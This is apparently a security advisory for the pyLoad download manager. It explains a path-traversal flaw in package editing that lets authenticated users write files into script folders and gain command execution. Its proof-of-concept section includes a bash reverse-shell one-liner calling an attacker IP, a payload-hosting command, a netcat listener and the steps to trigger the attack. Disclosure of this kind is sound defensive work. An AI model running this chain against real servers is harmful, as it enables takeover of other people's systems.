PYSEC-2026-1819

### Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

### Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/__init__.py::add_package::L432

```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ```

So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"```

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195

```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], }

api.set_package_data(id, data) ```

### Steps to reproduce

1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"

### Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

#### On attacker machine

1. Start a web server hosting a malicious script

```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80 ```

2. Start netcat listener for reverse shells

```bash nc -vklp 9999 ```

#### On pyLoad

1. Change pyLoad file permission settings

Change permissions of downloads: On Permission mode for downloaded files: 0744

2. Create a package with link pointing to the attacker

http://<attacker_ip>/evil.sh

3. Edit package and change folder to /config/scripts/package_deleted/

4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad

5. Delete any package package to trigger the script

### Impact

An authenticated user can gain control over the underlying pyLoad server.